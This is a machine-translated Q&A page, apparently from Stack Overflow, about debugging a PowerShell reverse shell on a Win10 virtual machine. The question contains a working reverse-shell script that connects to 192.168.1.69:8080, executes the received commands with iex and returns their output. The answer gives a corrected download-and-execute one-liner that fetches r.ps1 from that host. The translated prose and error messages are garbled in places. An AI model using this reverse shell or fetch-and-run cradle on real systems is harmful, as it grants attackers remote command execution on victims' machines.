2017-04-11 19 views
0

私のWin10仮想マシンでシェルを取得しようとしていますが、私はこれらを取得します errorsシェルを呼び出すPowerShellの問題

PS C:行::13文字:39

... S \ユーザーは、サンディエゴSepu> IEX(新オブジェクトNet.WebClient).DownloadString( 'http://192.168.1.69/r.ps1')

IEXを\ .TCPClient( "192.168.1.69 \ '94、8080))。GetStream(); [byte []] $ bt = 0..65535 ...

文字列にターミネーターがありません:"、。ラインで

:14文字:2

}

発現の閉鎖を ')' がありません。ラインで

:1つの文字:1

{\ RTF1 \ ANSI \ ansicpg1252 \ cocoartf1504 \ cocoasubrtf820

欠落閉じる '}' 文ブロックまたは型定義インチラインで

:1つの文字:1

IEX(新オブジェクトNet.WebClient).DownloadString(...

~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ CategoryInfo:ParserError:(:)はParseException

FullyQualifiedErrorId [式呼び出し]:TerminatorExpectedAtEndOfString、Microsoft.PowerShell.Commands.InvokeExpressionCommand

コード:

$sm=(New-Object Net.Sockets.TCPClient("192.168.1.69",8080)).GetStream() 
[byte[]]$bt=0..65535|%{0} 
while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0) 
{ 
    $d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i) 
    $st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1)) 
    $sm.Write($st,0,$st.Length) 
} 
+1

あなたはコードを編集して1行ではないようにしてください。コードの流れを見るのが難しくなります。また、質問の本文にエラーテキストを含めるだけでなく、画像をテキストのために掻き取ることもできません。 – Matt

+1

多くの構文エラーのようです。いくつかの改行でセミコロンを置き換え、括弧を見やすくするためにインデントを使用してみてください。 –

+0

私はコードを変更しましたが、これは小さいですが、まだ何か提案がありますか? –

答えて

0

(new-object Net.WebClient).DownloadString("http://192.168.1.69:8080/r.ps1") | iex

あなたがダウンロード自体を起動しようとしているr.ps1 Infactはの内容を呼び出していない、あなたのオリジナルのスクリーンショットではinvoke-espressionに結果をパイプ最初downloadstringをやってみてください。 DownloadStringの結果をパイプすることにより、r.ps1の実際の内容は黙示的になります

関連する問題